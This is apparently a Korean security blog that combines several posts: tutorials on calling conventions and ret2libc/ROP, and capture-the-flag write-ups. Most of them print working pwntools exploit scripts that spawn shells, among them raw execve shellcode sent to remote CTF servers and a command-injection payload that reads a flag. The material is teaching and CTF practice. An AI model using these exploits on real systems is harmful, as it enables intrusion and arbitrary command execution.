Solaris, Linux, FreeBSD, MacOS 에서는 System V AMD64 ABI 호출 규약을 사용한다. 해당 호출 규약은 다음과 같은 특징이 있다.

레지스터 RDI, RSI, RDX, RCX, R8 및 R9는 정수 및 메모리 주소 인수가 전달된다. 

레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6및 XMM7은 부동 소수점 인수가 전달된다. 반환값은 EAX에 저장된다.

 

System V AMD64 ABI 함수 호출 규약을 확인하기 위해 코드로 확인해보면 다음과 같다.

//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
 
void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}
 
void main(){
        vuln(1,2,3,4);
}

다음과 같이 각 레지스터에 저장된 vuln()함수의 인자 값을 확인할 수 있다.

vuln()함수는 printf()함수에 인자를 전달하기 위해 인자를 재배치 한다. printf()함수의 첫 번째 인자는 "%d, %d, %d, %d"이다.

printf()함수 호출하기 바로 전에 bp를 걸고 실행하여 각 레지스터에서 printf()함수에 전달되는 인자값을 확인할 수 있다.

rdi 주소에 저장된 값을 확인해보면 printf()함수의 첫 번째 인자인 "%d %d %d %d"임을 확인할 수 있다.

 

ret2libc 기법을 사용하기 위해서는 각 레지스터에 값을 저장할 수 있어야 한다. 

다음과 같은 방법으로 레지스터에 값을 저장할 수 있다.

- Return Address영역에 "pop rdi, ret" 코드가 저장된 주소 값을 저장한다.

- Return Address 다음 영역에 해당 레지스터에 저장할 인자 값을 저장한다. 

- 그 다음 영역에 호출할 함수의 주소를 저장한다.

이와 같은 방식을 ROP(Return-oriented programming)라고 한다. 

 

다음과 같은 구조로 ret2libc를 사용할 수 있다.

 

Return to Shellcode를 확인하기 위해 다음 코드를 사용한다.

// gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}
 
void main(){
    vuln();
}

main 함수는 vuln()함수를 호출한다. vuln()함수는 read()함수를 이용해 사용자로부터 100개의 문자를 입력받는다. 입력받는 변수인 buf의 크기가 50바이트이기 때문에 Stack Overflow가 발생한다. 

다음과 같이 3곳에 bp를 설정한다. 

vuln+0 : vlun()함수의 첫번째 명령어(vlun 함수 시작)

vuln+106 : read()함수 호출

vuln+113 : vlun()함수의 RET명령어

첫 bp까지 실행하면 다음과 같다.

rsp레지스터가 갖고 있는 최상위 stack의 주소는 0x7fffffffde58이다. 0x7fffffffde58 영역에는 Return Address(0x4006f6)이 저장되어 있다.

다음 bp까지 실행하면 다음과 같다.

buf 변수의 위치는 0x7fffffffde10 이며, Return Address의 위치와 72바이트 떨어져 있기 때문에 입력값을 72바이트 이상 입력하면 Retuen Address를 덮어쓸 수 있다.

위와 같이 72바이트 이상 입력하면 Return Address 값이 변경된 것을 확인할 수 있다.

 

다음과 같이 libc 영역에서 system()함수 주소를 찾을 수 있다.

다음과 같이 "/bin/sh" 문자열을 찾을 수 있다.

다음과 같이 ROP gadget을 찾을 수 있다.

 

찾은 정보들로 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process('./ret2libc64')

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55810
sysAddr = libcBase + 0x453a0
binsh = libcBase + 0x18ce17
poprdi = 0x400763

print hex(libcBase)
print hex(sysAddr)
print hex(binsh)
print hex(poprdi)

ex = "A" * (80 - len(p64(sysAddr)))
ex += p64(poprdi)
ex += p64(binsh)
ex += p64(sysAddr)

p.send(ex)
p.interactive()

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x86 _ Lazenca  (0) 2021.04.23
[System] DEP(NX bit)  (0) 2020.11.13

문제 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

파일을 실행해보면 buf주소를 출력하고, 입력을 받고 실행을 끝낸다.

checksec로 보호기법을 확인하면 다음과 같다.

NX보호기법이 걸려있지 않은걸로 보아 쉘코드도 삽입이 가능할 것 같다.

info func 명령으로 함수 목록을 봤을 때 main함수 말고 별 다른 함수 목록이 안보여서 main 함수의 어셈을 보면 다음과 같다.

0x6d30(27952)만큼의 크기에 gets함수로 입력을 받고있다.

gets함수가 끝난 main+96에 bp를 걸고 값을 입력하면 파일을 실행할 때 출력하는 buf 주소와 입력한 값이 들어간 주소가 동일함을 확인할 수 있다.

따라서 입력값에 쉘코드를 넣고 (27952(buf크기) - 쉘코드 길이) + 8(RET까지 거리)만큼 입력값을 채우고 buf의 주소를 받아서 넣으면 문제를 RET에 쉘코드가 들어간 buf주소가 들어가 쉘을 딸 수 있을 것 같다. 이를 파이썬 익스코드를 작성하고 실행하면 다음과 같이 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
#p = process("./Simple_size_bof")
= remote("ctf.j0n9hyun.xyz"3005)
 
p.recvuntil("buf: ")
buf = p64(int(p.recv(14), 16))
#print(buf)
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
 
pay = shell + "A"*27930 + buf
#print(pay)
p.send(pay)
p.interactive()
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10

Hack CTF pwnable 분야 이전 문제들에 대한 롸업은 Project H4C 게시판에 있다.

 

파일 명령어로 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

파일을 실행하면 문자열을 입력받고, Hello 입력받은 문자열 의 형태로 출력하고 있다 .

checksec로 확인해보면 NX보호기법이 적용되어 있다.

info func로 함수 정보를 보면 다음과 같다.

execve 함수가 사용됨을 확인할 수 있고, main함수 말고, callMeMaybe 함수도 있는것을 확인할 수 있다.

main함수와 callMeMaybe 함수의 어셈 코드를 확인하면 다음과 같다.

main 함수에서 0x110(272)만큼의 공간을 할당하고, scanf함수로 입력을 받고 있고, callMeMaybe함수에서 execve 함수를 실행하고 있다. main함수의 입력받는 부분에서 bof를 발생시켜 callMeMaybe함수를 실행시킬 수 있을 것 같다. 입력값으로 272(buffer) + 8(SFP)를 채우고 ret에 callMeMaybe함수의 주소를 넣으면 될 것 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3004)

pay = "A"*280
pay += p64(0x0000000000400606)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06

RTL은 Retuen Address 영역에 공유 라이브러리 함수의 주소로 변경해 해당 함수를 호출하는 방식이다. 이 기법을 통해 NX 보호기법을 우회할 수 있다.

공유 라이브러리는 컴파일을 할때 링커가 실행 파일에 사용할 공유 라이브러리를 표시하면 그 라이브러리에 있는 컴파일 된 코드를 가져와 사용한다. 리눅스는 기본적으로 공유 라이브러리가 있으면 그것과 링크를 시키고, 없으면 정적 라이브러리로 링크 작업을 한다.

인텔 x86 시스템, 리눅스 커널에서는 Cdecl 호출 규약을 사용한다. 이 호출 규약은 함수의 인자값을 stack에 저장하며 오른쪽에서 왼쪽 순서로 스택에 저장한다. 함수의 반환 값은 EAX 레지스터에 저장된다. 사용된 스택 정리는 해당 함수를 호출한 함수가 정리한다.

다음 코드를 32비트로 컴파일하고 gdb로 어셈블리 코드를 보면 다음과 같다.

// gcc -m32 -o test test.c
#include <stdio.h>
#include <stdlib.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}

다음과 같이 스택에 저장된 vlun 함수의 인자값들을 확인할 수 있다. vlun함수 실행전인 main+35에 breakpoint를 걸고 esp를 확인했다.

vuln 함수의 어셈 코드를 보면 다음과 같다.

push ebp로 main 함수에서 사용하던 호출 프레임을 스택에 저장한다. 이전 함수에서 사용하던 호출 프레임은 ebp 레지스터에 저장되어 있다. mov ebp, esp로 vlun 함수에서 사용할 새 호출 프레임이 ebp레지스터에 초기화 된다. ebp 레지스터를 통해 main 함수에서 전달된 인자값을 사용할 수 있다.

DWORD PTR [ebp+*] 영역으로 각각의 인자값을 확인할 수 있다.

ret2libc 기법 사용시 인자값을 전달하려면 Return Address의 4바이트 뒤에 인자 값을 전달해야 한다.

다음과 같이 코드를 작성하고 컴파일 하여 Return to Shellcode를 확인할 수 있다.

// gcc -fno-stack-protector -m32 -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}

vuln 함수에서 buf 의 크기는 50이지만, read함수로 100크기의 문자를 받으므로 Stack Overflow 취약점이 발생할 수 있다.

gdb로 vuln 함수를 확인하면 다음과 같다.

breakpoint를 지정할 위치는 vuln의 시작점인 vuln+0, read함수를 호출하는 vuln+123, vurn함수의 ret명령이 있는 vuln+139의 세 위치를 지정할 것이다.

다음과 같이 Return Address를 확인할 수 있다.

첫번째 bp 까지 실행시킨 후 esp 레지스터가 가리키고 있는 최상위 스택의 주소는 0xffffd0cc이다. 이 0xffffd0cc 영역에 Return Address(0x56555659)가 저장되어 있다.

두번째 bp(read함수 호출)까지 실행하면 다음과 같이 buf 변수의 위치를 확인할 수 있다.

buf 변수의 위치는 0xffffd07a 이고, Return Address와 82바이트 떨어져 있다.

다음과 같이 82바이트 이상의 값을 넣으면 Return Address의 값이 변경됨을 확인할 수 있다.

system()함수는 인자 값으로 실행할 명령어의 경로를 문자열로 전달받는다. RTL기법으로 shell을 실행하려면 "/bin/sh"문자열을 전달하면 된다.

다음과 같이 libc 영역에서 system()함수를 찾을 수 있다.

또한 다음과 같이 libc start address를 찾을 수 있다. libc start address는 heap 영역 다음에 있다.

printf의 주소는 0xf7e29430 이므로 libc base 주소와 시스템 함수 주소의 오프셋은 다음과 같다.

또한 다음과 같이 "/bin/sh"문자열을 찾고, libc 시작 주소에서 "/bin/sh"까지의 오프셋도 구할 수 있다.

따라서 다음과 같이 익스 코드를 작성하면 쉘을 딸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
= process("./ret2libc")
 
p.recvuntil("Printf() address : ")
stackaddr = p.recvuntil("\n")
stackaddr = int(stackaddr, 16)
 
libcbase = stackaddr - 0x51430
sysaddr = libcbase + 0x3d2e0
binsh = libcbase + 0x17e0af
 
print hex(libcbase)
print hex(sysaddr)
print hex(binsh)
 
exploit = "A" * (86 - len(p32(sysaddr)))
exploit += p32(sysaddr)
exploit += 'BBBB'
exploit += p32(binsh)
 
p.send(exploit)
p.interactive()
cs

 

'Security & Hacking > Technical & etc.' 카테고리의 다른 글

[Pwnable] Frame faking(Fake EBP)_Lazenka  (0) 2021.05.24
[Pwnable] PIE 보호기법  (0) 2021.05.13
[Pwnable] ASLR 보호기법  (0) 2021.05.08
[Pwnable] RTL(Retrun To Libc) x64_ Lazenca  (0) 2021.04.26
[System] DEP(NX bit)  (0) 2020.11.13

파일 명령어로 바이너리 파일을 확인했을 때 64비트 실행파일임을 확인할 수 있었다.

checksec로 보호기법을 보니 NX가 적용되어 있어서 쉘 코드 삽입은 불가능할 것 같았다.

info func 명령을 통해 함수 목록을 보면 다음과 같다.

main, jump, get_flag 함수가 눈에 띈다.

각 함수들의 어셈 코드는 다음과 같다.

main 함수에서 jump 함수를 호출하고 있고, jump 함수에서는 gets 함수로 사용자의 입력을 받고 있다. get_flag 함수에서는 fopen함수로 파일을 열어 fread함수로 내용을 읽어 리턴하고 있다.

아이다의 헥스레이 기능을 이용하여 위 함수들을 확인하면 다음과 같다.

jump 함수에서 v1이라는 변수로 64바이트를 할당하고, gets함수로 v1에 값을 입력받는데, 입력받는 값의 길이에 대한 검증이 없어서 bof가 발생할 수 있다. jump 함수에서 bof를 발생시켜 get_flag 함수로 리턴하도록 하면 서버의 flag 파일을 읽어올 수 있을 것 같다. 따라서 payload를 다음과 같이 입력값에 64(v1크기) + 8(sfp 크기) 만큼 입력하고 리턴에 get_flag 함수 주소를 넣어서 get_flag 함수를 실행시키도록 하면 될 것 같다. 따라서 익스 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
from pwn import *
 
#p = process("./JNE")
= remote("chals5.umdctf.io"7003)
pay = "A" * 72
pay += p64(0x000000000040125d)
 
p.sendline(pay)
p.interactive()
cs

 

UMD CTF 후기 : 사실 가장 오랜 시간을 잡고 있던 문제는 JIE 문제 였는데 NX 보호기법이 적용되어 있지 않아서 쉘코드 삽입하는 문제라 생각하여 그 쪽으로 접근했는데 풀리지 않아서 아쉬웠다. 같이 문제푸신 팀원중 한 분이 ROP 기법으로 문제를 JIE를 포함한 다른 문제도 풀으셨는데 이것을 보고 포너블 기법 공부를 더 열심히 해야겠다는 동기 부여를 받은것 같다. JIE문제는 쉘코드를 삽입하여 푸는 방식으로 롸업이 올라온다면 한번 확인해보고 싶다.

문제 바이너리 파일을 file 명령어로 확인해보면 64비트 실행파일임을 확인할 수 있다.

실행해보면 두 값을 더해주는 프로그램인 것 같다.

아이다로 열어서 헥스레이 기능을 이용하여 main함수를 확인하면 다음과 같다.

시스템 함수로 파이썬명령어를 실행하여 두 값을 더하고 있다. 

)'; 으로 파이썬 명령어를 닫아주고 내가 원하는 다른 명령어를 실행시킬 수 있을 것 같다. 실행할 명령어를 작성한후 ;#을 붙이면 정상적으로 원하는 명령어를 실행하고 그 결과값을 볼 수 있다. #은 리눅스 쉘에서도 주석의 역할을 하기 때문에 #으로 시스템 함수에 들어가는 남은 파이썬 명령어를 주석처리하는 것이다.

ls명령어로 확인해보니 flag 파일이 있었고, cat flag 명령으로 flag를 확인할 수 있었다.

payload : )';cat flag;#

 

HackPack CTF 후기 : 푼 문제는 파이썬 코드를 닫고 원하는 명령어를 입력한 뒤 주석처리해서 이후 구문을 무시하여 원하는 명령어만 정상적으로 실행되도록 하여 풀었는데, 웹해킹을 공부할때 원하는 쿼리를 입력하고 주석으로 이후 구문을 무시한다는 점에서  기본적인 SQL Injection 과 비슷한 느낌을 받았다. 이 문제 외에 다른 문제들도 풀려고 시도해 보려 했지만 코드가 길어지고, 아직 포너블 기초밖에 공부가 되어있지 않다보니 꽤 오랜시간을 보고 생각나는 다양한 방법들로 구글링을 시도해 보았지만 역시 쉽지 않았다. 포너블 공부를 더 열심히 해야 겠다는 생각을 하게 되었고, 다양한 기법들을 공부해서 문제에 적용해야 겠다는 생각을 하게 되었다.

문제를 접속하여 mistake의 소스코드를 보면 다음과 같다.

PW_LEN은 10으로, XORKEY는 1로 정의하고 있다.

xor 함수에서는 문자열과 길이를 인자로 받아 길이만큼 반복하며 문자열의 각 문자를 1씩 xor 연산을 한다.

main 함수의 첫번째 if문을 보면 할당연산자보다 비교연산자가 우선순위가 높아서 비교연산을 먼저 수행하면 open함수의 리턴값은 파일을 잘 읽어와서 fd 값을 반환하고, fd값은 음이 아닌 정수이기 때문에 비교 연산의 결과는 거짓이므로 fd에는 flase(0)값이 들어가고, 조건문은 수행하지 않는다.

 

PW_LEN+1 크기의 pw_buf를 선언하고,  if 함수의 조건식에서 read함수를 실행한다. fd값이 위에서 0으로 저장되었기 때문에 fd 0 은 stdin 이라 PW_LEN만큼 pw_buf에 입력을 받는다. 입력을 받으면 크기는 0보다 커지기 때문에 not 연산으로 조건식은 거짓이 되어 조건문은 실행하지 않는다.

 

PW_LEN + 1 크기의 pw_buf2를 선언하고, 입력받는다. 이후 xor함수로 xor연산을 진행한다. 이후 조건문에서 xor한 pw_buf2와 pw_buf가 같다면 시스템 함수로 플래그를 출력할 수 있다.

 

xor 함수는 각 자리를 1로 xor 연산 하므로 1 xor 1 = 0 이 되므로 첫번째 입력값에는 0을 10개, 2번째 입력에서는 1을 10개 입력하면 플래그를 확인할 수 있다.

문제 주소에 접속하여 문제의 소스코드를 보면 다음과 같다.

rand 함수를 이용해 변수 random에 값을 저장하는데, rand()함수만 사용하면 프로그램이 생성될 때 값이 정해지기 때문에 계속 실행해도 같은 값이 저장되어 있다. key를 입력받아서 key ^ random 값이 0xdeadbeef면 시스템 함수로 flag를 읽을 수 있다. random 값을 알아야 하기 때문에 gdb로 프로그램을 실행시켜 main 함수를 보면 다음과 같다.

rand 함수가 실행되고 난 후(main+18)에 breakpoint를 걸고 실행한 후에 현재 레지스터를 확인해주면 다음과 같다.

산술연산 및 함수 반환값은 rax에 들어가기 때문에 0x6b8b4567이 rand()함수로 반환된 값이다. 

0x6b8b4567과 0xdeadbeef를 xor한 값이 passcode에 key로 입력되면 if 조건문을 만족시킬 수 있을 것 같다.

두 값을 xor 연산 후 10진수로 변환하면 3039230856이 나온다. random 을 실행하고 10진수로 변환한 값을 넣으면 플래그를 획득할 수 있다.

 

+ Recent posts